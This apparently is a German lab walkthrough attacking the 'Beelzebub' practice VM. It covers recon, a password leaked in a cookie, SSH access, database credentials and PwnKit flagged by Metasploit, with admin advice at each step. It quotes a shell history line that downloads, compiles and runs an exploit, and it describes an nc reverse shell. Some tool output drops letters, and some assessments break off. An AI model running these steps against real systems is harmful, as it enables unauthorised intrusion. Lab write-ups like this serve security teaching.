**Zielsetzung:** Identifizierung des Zielsystems im Netzwerk und Sammlung erster Informationen über offene Ports und Dienste. Ein externer Hinweis vom Login-Bildschirm der VM deutete auf den Benutzernamen `Krampus` hin.
192.168.2.118 08:00:27:66:7c:74 PCS Systemtechnik GmbH
**Analyse:** Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk nach aktiven Hosts mittels ARP-Anfragen zu durchsuchen.
**Bewertung:** Ein Host mit der IP-Adresse `192.168.2.118` wird gefunden. Die MAC-Adresse (`08:00:27:...`) deutet auf eine VirtualBox VM hin. Dies ist unser Ziel.
**Empfehlung (Pentester):** Führe einen Port-Scan auf `192.168.2.118` durch.
**Empfehlung (Admin):** Netzwerk-Monitoring kann ARP-Scans erkennen.
192.168.2.118 beelzebub.vln
**Analyse:** Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.118` den Hostnamen `beelzebub.vln` zuzuordnen.
**Bewertung:** Nützlicher Schritt, um das Ziel über einen Namen anzusprechen, besonders für Webserver-Interaktionen.
**Empfehlung (Pentester):** Standardvorgehen.
**Empfehlung (Admin):** Lokale Angreifer-Konfiguration.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-30 13:29 CEST Nmap scan report for beelzebub.vln (192.168.2.118) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 20:d1:ed:84:cc:68:a5:a7:86:f0:da:b8:92:3f:d9:67 (RSA) | 256 78:89:b3:a2:75:12:76:92:2a:f9:8d:27:c1:08:a7:b9 (ECDSA) |_ 256 b8:f4:d6:61:cf:16:90:c5:07:18:99:b0:7c:70:fd:c0 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works MAC Address: 08:00:27:66:7C:74 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.12 ms beelzebub.vln (192.168.2.118)
**Analyse:** Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) wird auf das Ziel durchgeführt.
**Bewertung:** Nur zwei Ports sind offen: 22 (SSH - OpenSSH 7.6p1) und 80 (HTTP - Apache 2.4.29). Der Webserver zeigt die Apache-Standardseite ("It works"). Die Versionen sind relativ aktuell, aber nicht die neuesten. Kein FTP-Dienst wie bei den vorherigen Basic-Pentesting-Maschinen.
**Empfehlung (Pentester):** Fokussiere dich auf den Webserver (Port 80) zur weiteren Enumeration. SSH (Port 22) ist ein potenzieller Login-Punkt, falls Zugangsdaten gefunden werden (z.B. für `Krampus`).
**Empfehlung (Admin):** Halte Apache und OpenSSH aktuell. Überprüfe, ob beide Dienste benötigt werden.
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
**Analyse:** Gefilterte Nmap-Ausgabe zur schnellen Übersicht der offenen Ports.
**Bewertung:** Bestätigt Port 22 (SSH) und 80 (HTTP).
**Empfehlung (Pentester):** Schnelle Referenz.
**Empfehlung (Admin):** Regelmäßige Port-Scans zur Überprüfung der exponierten Dienste.
**Zielsetzung:** Untersuchung des Apache-Webservers auf Port 80, um versteckte Inhalte, Anwendungen oder Konfigurationsfehler zu finden.
- Nikto v2.5.0 + Target IP: 192.168.2.118 + Target Hostname: 192.168.2.118 + Target Port: 80 + Start Time: 2023-06-30 13:30:00 (GMT2) + Server: Apache/2.4.29 (Ubuntu) + /: The anti-clickjacking X-Frame-ptions header is not present. + /: The X-Content-Type-ptions header is not set. + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 59558e1434548, mtime: gzip. + Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). + Multiple index files found: /index.html, /index.php. + PTINS: Allowed HTTP Methods: HEAD, GET, PST, PTINS . + /phpinfo.php: utput from the phpinfo() function was found. + /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1. + /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. + /icons/README: Apache default file found. + /phpmyadmin/: phpMyAdmin directory found. + 8254 requests: 0 error(s) and 11 item(s) reported on remote host + End Time: 2023-06-30 13:30:12 (GMT2) (12 seconds) + 1 host(s) tested
**Analyse:** `nikto` scannt den Webserver auf bekannte Schwachstellen und interessante Dateien/Verzeichnisse.
**Bewertung:** Nikto findet mehrere interessante Punkte:
**Empfehlung (Pentester):** Untersuche `/phpinfo.php` auf sensible Informationen (z.B. Pfade, Module, Konfigurationen). Untersuche `/phpmyadmin/` auf Login-Möglichkeiten oder bekannte Schwachstellen. Führe `gobuster` aus, um weitere Verzeichnisse zu finden.
**Empfehlung (Admin):** Entferne `phpinfo.php` vom Produktionsserver. Sichere den Zugriff auf `/phpmyadmin` (z.B. durch IP-Beschränkung, .htaccess, starke Passwörter, aktuelle Version). Implementiere fehlende Sicherheitsheader. Update Apache.
http://beelzebub.vln/index.php (Status: 200) [Size: 271] http://beelzebub.vln/index.html (Status: 200) [Size: 10918] http://beelzebub.vln/javascript (Status: 301) [Size: 319] [--> http://beelzebub.vln/javascript/] http://beelzebub.vln/phpmyadmin (Status: 301) [Size: 319] [--> http://beelzebub.vln/phpmyadmin/]
**Analyse:** `gobuster` sucht nach Verzeichnissen und Dateien auf `http://beelzebub.vln`.
**Bewertung:** Bestätigt die Existenz von `index.php`, `index.html` und `/phpmyadmin/`. Findet zusätzlich ein `/javascript/`-Verzeichnis. Der Fund von `/phpmyadmin/` ist hier relevant. `/phpinfo.php` wird von dieser spezifischen Gobuster-Ausgabe nicht angezeigt, wurde aber von Nikto gefunden.
**Empfehlung (Pentester):** Fokussiere dich auf `/phpinfo.php` und `/phpmyadmin/`. Das `/javascript/`-Verzeichnis könnte für clientseitige Analysen interessant sein.
**Empfehlung (Admin):** Siehe Nikto-Empfehlungen für phpMyAdmin und phpinfo.php. Entferne unnötige Verzeichnisse wie `/javascript/`, falls nicht verwendet.
**Manuelle Analyse (Quellcode):** Beim Betrachten des Quellcodes von `http://beelzebub.vln/index.php` (`view-source:`) findet sich ein HTML-Kommentar: ``.
**Bewertung:** Dies ist ein direkter Hinweis! Es legt nahe, dass das Wort "beelzebub" mit MD5 gehasht werden soll, und das Ergebnis könnte als Hinweis (z.B. Verzeichnisname, Passwort) dienen.
**Empfehlung (Pentester):** Berechne den MD5-Hash von "beelzebub" und prüfe, ob dieser Hash als Verzeichnisname auf dem Webserver existiert (z.B. mit Gobuster oder direktem Aufruf).
**Empfehlung (Admin):** Hinterlasse keine Hinweise oder Kommentare im Quellcode, die Angreifern helfen könnten.
**Zielsetzung:** Auffinden von Zugangsdaten oder Pfaden durch Auswertung der bisherigen Funde und gezielte Tests.
**Analyse (Metasploit - phpMyAdmin Scan):** Der Pentester startet `msfconsole` und versucht, das Modul `auxiliary/scanner/http/phpMyAdmin_login` zu verwenden, um einen Brute-Force-Angriff auf das gefundene `/phpmyadmin/`-Verzeichnis durchzuführen. Es werden verschiedene Einstellungen vorgenommen (`RHSTS`, `TARGETURI`, User-/Passwortlisten), aber die Versuche schlagen fehl, da das Modul den phpMyAdmin unter dem Standardpfad oder dem `/phpmyadmin/`-Pfad nicht korrekt erkennt (`PhpMyAdmin is not available`).
**Bewertung:** Der Versuch, phpMyAdmin mit Metasploit zu brute-forcen, schlägt fehl. Das Modul scheint den Zielpfad nicht korrekt zu verarbeiten oder phpMyAdmin ist an diesem Ort nicht für das Modul erreichbar/erkennbar. Dieser Weg führt nicht zum Erfolg.
**Empfehlung (Pentester):** Gib den Metasploit-Versuch auf phpMyAdmin auf. Konzentriere dich auf den MD5-Hinweis aus dem Quellcode.
**Empfehlung (Admin):** Auch wenn der Scan fehlschlug, zeigt er die Absicht. Absicherung von phpMyAdmin ist wichtig.
d6bf00c767d95fcd6bc40fad7ead64cc -
**Analyse:** Der MD5-Hash des Strings "beelzebub" wird berechnet. `echo` fügt standardmäßig einen Zeilenumbruch (`\n`) an den String an, bevor er an `md5sum` übergeben wird.
**Bewertung:** Dies ist der **falsche** Weg, den Hash zu berechnen, wenn der reine String gemeint ist. Der angehängte Zeilenumbruch verändert den Hash-Wert. Der Kommentar "das ist falsch" im Originaltext bestätigt dies.
**Empfehlung (Pentester):** Verwende `echo -n`, um den Zeilenumbruch zu unterdrücken.
**Empfehlung (Admin):** Keine Aktion.
d18e1e22becbd915b45e0e655429d487 -
**Analyse:** Der MD5-Hash des Strings "beelzebub" wird **korrekt** ohne abschließenden Zeilenumbruch berechnet, indem die Option `-n` bei `echo` verwendet wird.
**Bewertung:** Der korrekte MD5-Hash ist `d18e1e22becbd915b45e0e655429d487`. Dies ist der Wert, der gemäß dem Hinweis im Quellcode wahrscheinlich relevant ist.
**Empfehlung (Pentester):** Suche nach einem Verzeichnis oder einer Datei mit diesem Hash-Wert als Namen auf dem Webserver.
**Empfehlung (Admin):** Keine Aktion.
http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487 (Status: 301) [Size: 341] [--> http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/] http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/index.php (Status: 200) [Size: 57718] http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-content (Status: 301) [Size: 352] [--> http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-content/] http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-login.php (Status: 200) [Size: 5694] http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/license.txt (Status: 200) [Size: 19935] http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-includes (Status: 301) [Size: 353] [--> http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-includes/] http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/readme.html (Status: 200) [Size: 7368] http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-admin (Status: 301) [Size: 350] [--> http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-admin/] http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/xmlrpc.php (Status: 405) [Size: 42]
**Analyse:** Ein (vermutlich erneuter) Gobuster-Scan oder direkter Aufruf bestätigt die Existenz eines Verzeichnisses, dessen Name dem MD5-Hash `d18e1e22becbd915b45e0e655429d487` entspricht. Innerhalb dieses Verzeichnisses befindet sich eine weitere WordPress-Installation.
**Bewertung:** Der Hinweis aus dem Quellcode war korrekt. Der MD5-Hash von "beelzebub" ist der Name eines versteckten Verzeichnisses, das eine WordPress-Instanz enthält. Dies ist der Hauptangriffsvektor auf dem Webserver.
**Empfehlung (Pentester):** Untersuche diese WordPress-Installation (`http://beelzebub.vln/d18e1e.../`) mit `wpscan`, suche nach Schwachstellen, Benutzern und versuche Logins.
**Empfehlung (Admin):** Security through obscurity (Verstecken durch obskure Namen) ist keine verlässliche Sicherheitsmaßnahme. Sichere Anwendungen sollten auch dann geschützt sein, wenn ihr Pfad bekannt ist. Zugriffskontrolle implementieren.
* Trying 192.168.2.118:80... * Connected to beelzebub.vln (192.168.2.118) port 80 (#0) > HEAD /d18e1e22becbd915b45e0e655429d487/ HTTP/1.1 > Host: beelzebub.vln > User-Agent: curl/7.88.1 > Accept: */* > < HTTP/1.1 301 Moved Permanently < Date: Fri, 30 Jun 2023 12:04:54 GMT < Server: Apache/2.4.29 (Ubuntu) < X-Redirect-By: WordPress < Location: http://192.168.1.6/d18e1e22becbd915b45e0e655429d487/ < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host beelzebub.vln left intact
**Analyse:** `curl` wird verwendet, um die Header (`-I -v`) des neu gefundenen WordPress-Verzeichnisses (`/d18e1e.../`) abzurufen.
**Bewertung:** Die Antwort ist ein `301 Moved Permanently`. **Sehr wichtig:** Der `Location`-Header zeigt auf eine **andere IP-Adresse: `http://192.168.1.6/...`**. Das bedeutet, die WordPress-Installation ist falsch konfiguriert und erwartet, unter `192.168.1.6` erreichbar zu sein, nicht unter der IP der VM (`192.168.2.118`). Der Header `X-Redirect-By: WordPress` bestätigt erneut WordPress.
**Empfehlung (Pentester):** Diese Fehlkonfiguration verhindert wahrscheinlich den direkten Zugriff auf die WordPress-Funktionen über `beelzebub.vln` oder `192.168.2.118`. Der Pentester notiert dies korrekt ("ab hier gehts nicht mehr weiter..."). Es müssen andere Wege gefunden werden, um Informationen zu erhalten (z.B. Scannen des Upload-Verzeichnisses).
**Empfehlung (Admin):** Korrigiere die WordPress-Seiten-URL (Site Address und WordPress Address) in den WordPress-Einstellungen oder der `wp-config.php`, sodass sie der tatsächlichen IP oder dem Hostnamen entspricht, unter dem die Seite erreichbar sein soll.
**Kommentar des Pentesters:** Der Pentester erkennt, dass die WordPress-Seite aufgrund der falschen IP-Konfiguration nicht direkt nutzbar ist und sucht nach alternativen Informationen oder "Creds aus dem Internet".
* Trying 192.168.2.118:80...
* Connected to beelzebub.vln (192.168.2.118) port 80 (#0)
> HEAD /d18e1e22becbd915b45e0e655429d487/wp-content/uploads/Talk%20To%20VALAK HTTP/1.1
> Host: beelzebub.vln
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Date: Fri, 30 Jun 2023 12:14:50 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Set-Cookie: Password=M4k3Ad3a1
< Location: http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/wp-content/uploads/Talk%20To%20VALAK/
< Content-Type: text/html; charset=iso-8859-1
<
* Connection #0 to host beelzebub.vln left intact
**Analyse:** `curl` wird verwendet, um die Header einer Ressource namens `Talk To VALAK` im Upload-Verzeichnis der (falsch konfigurierten) WordPress-Installation abzurufen. Der Pfad wurde vermutlich durch Directory Indexing oder Raten gefunden (nicht explizit im Log gezeigt).
**Bewertung:** **Kritischer Fund!** Obwohl die Ressource selbst zu einer Weiterleitung führt (`301`), enthält die Serverantwort einen `Set-Cookie`-Header, der ein Passwort im Klartext setzt: `Password=M4k3Ad3a1`. Dies ist ein schwerwiegender Fehler, da sensible Daten niemals in Cookies gespeichert werden sollten. "VALAK" ist auch ein Benutzername, der später von `wpscan` gefunden wird.
**Empfehlung (Pentester):** Notiere das Passwort `M4k3Ad3a1`. Versuche dieses Passwort mit den bekannten oder gefundenen Benutzernamen (`Krampus` vom Login-Screen, `admin` von der API, `valak` vom Dateinamen/wpscan) für den SSH-Login.
**Empfehlung (Admin):** **NIEMALS** Passwörter oder andere sensible Daten in Cookies speichern! Überprüfe den Code, der diesen Cookie setzt, und entferne ihn dringend. Sichere das Uploads-Verzeichnis, deaktiviere Directory Indexing.
_______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.24 _______________________________________________________________ [+] URL: http://beelzebub.vln/d18e1e22becbd915b45e0e655429d487/ [192.168.2.118] [+] Started: Fri Jun 30 14:18:39 2023 Interesting Finding(s): [+] Headers: Server: Apache/2.4.29 (Ubuntu), X-Redirect-By: WordPress [+] XML-RPC seems to be enabled: .../xmlrpc.php [+] WordPress readme found: .../readme.html [+] Upload directory has listing enabled: .../wp-content/uploads/ [+] The external WP-Cron seems to be enabled: .../wp-cron.php [+] WordPress version 5.3.15 identified (utdated, released on 2023-05-16). [i] The main theme could not be detected. [i] No plugins Found. [i] No Config Backups Found. [+] Finished: Fri Jun 30 14:19:58 2023 [+] Requests Done: 186 | Cached Requests: 4 | Data Sent: 57.198 KB | Data Received: 12.478 MB | Memory used: 213.621 MB | Elapsed time: 00:01:18
**Analyse:** `wpscan` wird auf das WordPress-Verzeichnis im MD5-Hash-Pfad ausgeführt. `--ignore-main-redirect` und `--force` werden verwendet, um trotz der fehlerhaften Konfiguration (Weiterleitung auf 192.168.1.6) einen Scan zu erzwingen.
**Bewertung:** WPScan identifiziert die veraltete WordPress-Version 5.3.15, aktiviertes XML-RPC und ein browsebares Upload-Verzeichnis. Es findet keine Plugins oder Themes.
**Empfehlung (Pentester):** Führe `wpscan` erneut mit Benutzer-Enumeration (`-e u`) aus.
**Empfehlung (Admin):** WordPress und alle Komponenten dringend aktualisieren. XML-RPC und Upload-Verzeichnis absichern.
[i] User(s) Identified: [+] krampus <<<<-- | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] valak <<<<-- | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)
**Analyse:** `wpscan` wird erneut ausgeführt, diesmal mit der Option `-e u` zur Benutzer-Enumeration.
**Bewertung:** Zwei Benutzernamen werden gefunden: `krampus` und `valak`. `krampus` war bereits vom Login-Screen bekannt, `valak` passt zum Dateinamen, der das Passwort-Cookie lieferte.
**Empfehlung (Pentester):** Versuche nun den SSH-Login mit den gefundenen Benutzernamen und dem Passwort aus dem Cookie (`M4k3Ad3a1`). Beginne mit `krampus`.
**Empfehlung (Admin):** Verhindere Benutzer-Enumeration in WordPress (z.B. durch Einschränkung der REST-API, Verwendung von Plugins/Themes, die keine Benutzernamen preisgeben).
**Zielsetzung:** Erlangung einer Shell durch SSH-Login mit den gefundenen Zugangsdaten.
**Manuelle Analyse:** Basierend auf den Funden (`krampus` vom Login-Screen/WPScan, Passwort `M4k3Ad3a1` aus dem Cookie) wird ein SSH-Login versucht.
krampus@beelzebub.vln's password: M4k3Ad3a1
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-53-generic x86_64)
...
Last login: Sat Mar 20 00:38:04 2021 from 192.168.1.7
krampus@beelzebub$
**Analyse:** Erfolgreicher SSH-Login als Benutzer `krampus` mit dem Passwort `M4k3Ad3a1`.
**Bewertung:** Initial Access erfolgreich! Das im Cookie gefundene Passwort war für den Benutzer `krampus` gültig. Eine interaktive Shell wurde erhalten. Die hohe Anzahl an verfügbaren Updates (insbesondere Sicherheitsupdates) ist besorgniserregend.
**Empfehlung (Pentester):** Beginne mit der Enumeration als Benutzer `krampus` zur Privilegieneskalation (`id`, `sudo -l`, `find / -perm -4000`, etc.).
**Empfehlung (Admin):** Passwort aus Cookie ist ein schwerwiegender Fehler. Code bereinigen. System dringend patchen (482 Updates, 387 Sicherheitsupdates!). Überwache SSH-Logins.
**Zielsetzung:** Sammeln von Informationen aus der `krampus`-Shell, um das System zu verstehen und Wege zur Privilegieneskalation zu finden.
krampus@beelzebub$ id
uid=1000(krampus) gid=1000(krampus) groups=1000(krampus),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare)
krampus@beelzebub$ sudo -l
Password: M4k3Ad3a1
Sorry, user krampus may not run sudo on beelzebub.
**Analyse:** `id` zeigt die Gruppenmitgliedschaften von `krampus`. `sudo -l` prüft die `sudo`-Berechtigungen.
**Bewertung:** `krampus` ist Mitglied mehrerer Gruppen, darunter `www-data`, was den Zugriff auf Webdateien erklärt. Es gibt keine offensichtlich privilegierten Gruppen wie `docker` oder `lxd`. Der Benutzer hat keine `sudo`-Rechte.
**Empfehlung (Pentester):** Suche nach SUID-Dateien, Kernel-Exploits, Cron-Jobs, unsicheren Berechtigungen.
**Empfehlung (Admin):** Überprüfe Gruppenmitgliedschaften (Prinzip der geringsten Rechte).
krampus@beelzebub$ find / -type f -perm -4000 -ls 2>/dev/null
199 24 -rwsr-xr-x 1 root root 22528 Jun 28 2019 /usr/bin/arping 950 60 -rwsr-xr-x 1 root root 59640 Mar 23 2019 /usr/bin/passwd 1056 24 -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec 1443 20 -rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils 892 40 -rwsr-xr-x 1 root root 40344 Mar 23 2019 /usr/bin/newgrp 275 44 -rwsr-xr-x 1 root root 44528 Mar 23 2019 /usr/bin/chsh 273 76 -rwsr-xr-x 1 root root 76496 Mar 23 2019 /usr/bin/chfn 530 76 -rwsr-xr-x 1 root root 75824 Mar 23 2019 /usr/bin/gpasswd 5281 148 -rwsr-xr-x 1 root root 149080 Jan 31 2020 /usr/bin/sudo 3954 372 -rwsr-xr-- 1 root dip 378600 Jul 23 2020 /usr/sbin/pppd 396554 6172 -rwsr-xr-x 1 root root 6319088 Nov 29 2017 /usr/local/Serv-U/Serv-U 158900 624 -rwsr-xr-x 1 root root 635648 Mar 16 2021 /usr/local/bin/sudo 6947 16 -rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1 2605 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 6907 428 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign 2304 44 -rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 277 12 -rwsr-sr-x 1 root root 10232 Dec 18 2019 /usr/lib/xorg/Xorg.wrap 262203 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount 262276 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping 268310 28 -rwsr-xr-x 1 root root 26696 Sep 17 2020 /bin/umount 262380 44 -rwsr-xr-x 1 root root 43088 Sep 17 2020 /bin/mount 262304 44 -rwsr-xr-x 1 root root 44664 Mar 23 2019 /bin/su
**Analyse:** Suche nach SUID-Dateien im System.
**Bewertung:** Neben Standard-SUID-Dateien fallen auf:
**Empfehlung (Pentester):** Priorisiere den PwnKit-Exploit für `/usr/bin/pkexec`. Untersuche auch `/usr/local/Serv-U/Serv-U` und `/usr/local/bin/sudo` auf bekannte Schwachstellen oder Fehlkonfigurationen.
**Empfehlung (Admin):** System patchen (PwnKit). Untersuche, warum Serv-U und eine zweite `sudo`-Version SUID Root sind und ob dies notwendig ist. Entferne unnötige SUID-Bits.
krampus@beelzebub$ ls -la /etc/passwd
-rw-r--r-- 1 root root 2618 Mar 16 2021 /etc/passwd
krampus@beelzebub$ getcap -r / 2>/dev/null
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep /usr/bin/mtr-packet = cap_net_raw+ep /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
**Analyse:** Die Berechtigungen von `/etc/passwd` werden geprüft (normal, nicht weltbeschreibbar). Linux Capabilities werden gesucht.
**Bewertung:** `/etc/passwd` ist sicher. Die gefundenen Capabilities bieten keine offensichtlichen Eskalationspfade.
**Empfehlung (Pentester):** Fokussiere dich auf die SUID-Binaries, insbesondere PwnKit.
**Empfehlung (Admin):** Gut, dass `/etc/passwd` korrekte Berechtigungen hat.
krampus@beelzebub:/var/www/html/d18e1e22becbd915b45e0e655429d487$ head -n 30 wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'root' );
define( 'DB_PASSWORD', 'P0k3M0n' );
**Analyse:** Der Benutzer `krampus` (Mitglied der `www-data` Gruppe) liest die `wp-config.php` der WordPress-Instanz im MD5-Verzeichnis.
**Bewertung:** Findet erneut Datenbank-Zugangsdaten: User `root`, Passwort `P0k3M0n`. Dies ist ein anderes Passwort als im vorherigen Bericht (`arootmysqlpass`). Es ist wichtig, beide zu testen.
**Empfehlung (Pentester):** Teste das Passwort `P0k3M0n` für den System-Root-Benutzer (via `su`) und für den `krampus`-Benutzer bei `sudo` (obwohl `sudo -l` fehlschlug).
**Empfehlung (Admin):** Wieder: Keine DB-Root-Benutzer für Anwendungen, starke, einzigartige Passwörter verwenden. `wp-config.php` absichern.
krampus@beelzebub:/var/www/html/d18e1e22becbd915b45e0e655429d487$ mysql -u root -p
Enter password: P0k3M0n
Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 2385 Server version: 10.1.44-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04 ... MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | wordpress | +--------------------+ MariaDB [(none)]> use wordpress; Database changed MariaDB [wordpress]> show tables; +-----------------------+ | Tables_in_wordpress | +-----------------------+ | wp_commentmeta | ... | wp_users | +-----------------------+ MariaDB [wordpress]> select * from wp_users; +----+------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+--------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+--------------+ | 1 | krampus | $P$BtwKP7tunjX1IgMdsaPj5ANoBatFG1 | krampus | valak@hell.com | | 2021-03-19 06:18:23 | | 0 | krampus | | 2 | VALAK | $P$B/8EcUNnkvmaTjd937ZbVvEhrT4N1 | valak | VALAK@admin.com | | 2021-03-19 11:53:24 | | 0 | VALAK VALAK | +----+------------+------------------------------------+---------------+-----------------+----------+---------------------+---------------------+-------------+--------------+ MariaDB [wordpress]> exit
**Analyse:** Erfolgreicher Login in die MariaDB-Datenbank als `root` mit dem Passwort `P0k3M0n`. Die `wordpress`-Datenbank wird untersucht. Die `wp_users`-Tabelle enthält die Benutzer `krampus` und `VALAK` mit ihren Passwort-Hashes.
**Bewertung:** Bestätigt den Datenbankzugriff mit dem neuen Passwort. Die gefundenen Benutzer (`krampus`, `VALAK`) waren bereits durch WPScan bekannt. Die Passwort-Hashes könnten gecrackt werden, aber wir haben bereits ein Passwort für `krampus`.
**Empfehlung (Pentester):** Datenbankzugriff bietet aktuell keine neuen Eskalationspfade. Konzentriere dich auf PwnKit oder die ungewöhnlichen SUID-Dateien.
**Empfehlung (Admin):** DB-Sicherheit verbessern.
krampus@beelzebub:/var/www/html/d18e1e22becbd915b45e0e655429d487$ ls -la /home/
total 12 drwxr-xr-x 3 root root 4096 Mar 16 2021 . drwxr-xr-x 24 root root 4096 Mar 16 2021 .. drwsrwxrwx 17 krampus krampus 4096 Jun 30 18:09 krampus
krampus@beelzebub$ cat .bash_history
mysql -u root -p clear su root clear find / -prem -u=s -type f 2>/dev/null cd /usr/local/Serv-U/ clear wget https://www.exploit-db.com/download/47009 clear ls clear mv 47009 ./exploit.c gcc exploit.c -o exploit ./exploit cd ../../../../../../../ ls cd cd cd grep -r 'beelzebub' grep -r 'love' cd .local/share
**Analyse:** Die Berechtigungen des `/home/krampus`-Verzeichnisses werden angezeigt (`drwsrwxrwx`). Sie sind extrem unsicher: SGID-Bit gesetzt (`s` statt `x` bei der Gruppe) und das Verzeichnis ist weltbeschreibbar (`w` bei Others). Die `.bash_history` von `krampus` wird angezeigt.
**Bewertung:** Die unsicheren Berechtigungen des Home-Verzeichnisses sind ungewöhnlich, bieten aber nicht direkt einen Eskalationspfad. Die `.bash_history` zeigt interessante frühere Aktivitäten: Der Benutzer `krampus` hat versucht, Root zu werden (`su root`) und hat einen Exploit (ID 47009 von Exploit-DB) heruntergeladen, kompiliert und ausgeführt. Dies deutet darauf hin, dass der Benutzer selbst versucht hat, Rechte zu eskalieren. Exploit 47009 bezieht sich oft auf Schwachstellen im Kernel oder spezifischen Diensten, was hier nicht direkt weiterhilft, aber das Vorgehen des Benutzers zeigt.
**Empfehlung (Pentester):** Die History bestätigt frühere Eskalationsversuche, aber der Fokus sollte auf den aktuellen Funden bleiben (PwnKit).
**Empfehlung (Admin):** Korrigiere die unsicheren Berechtigungen des Home-Verzeichnisses (`chmod 700 /home/krampus`). Untersuche die Aktionen des `krampus`-Benutzers.
**Metasploit-Nutzung (Fortsetzung):** Der Pentester nutzt Metasploit weiter. 1. **Reverse Shell:** Eine neue Reverse Shell wird über `mkfifo` und `nc` von der `krampus`-Shell zum Metasploit-Handler auf Port `4444` aufgebaut. Session 1 wird geöffnet. 2. **Upgrade zu Meterpreter:** Session 1 wird mit `post/multi/manage/shell_to_meterpreter` zu Meterpreter-Session 2 (auf Port `4433`) aufgewertet. 3. **Exploit Suggester:** `local_exploit_suggester` wird auf Session 2 angewendet.
**Bewertung:** Standardvorgehen, um eine stabilere Meterpreter-Session zu erhalten und automatisiert nach Exploits zu suchen.
**Empfehlung (Pentester):** Suggester-Ergebnisse auswerten.
**Empfehlung (Admin):** Siehe vorherige Metasploit-Empfehlungen.
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.118 - Collecting local exploits for x86/linux...
[*] 192.168.2.118 - 186 exploit checks are being tried...
[+] 192.168.2.118 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
... (andere mögliche) ...
[*] 192.168.2.118 - Valid modules for session 2:
# Name Potentially Vulnerable? Check Result
- - --
1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable.
...
**Analyse:** Der Exploit Suggester läuft und meldet mehrere potenzielle Schwachstellen.
**Bewertung:** PwnKit (`cve_2021_4034_pwnkit_lpe_pkexec`) wird erneut als "vulnerable" bestätigt. Dies ist der zuverlässigste Weg. Andere Vorschläge (`netfilter_priv_esc_ipv4`, `servu_ftp_server...`) könnten ebenfalls funktionieren, sind aber komplexer oder weniger wahrscheinlich.
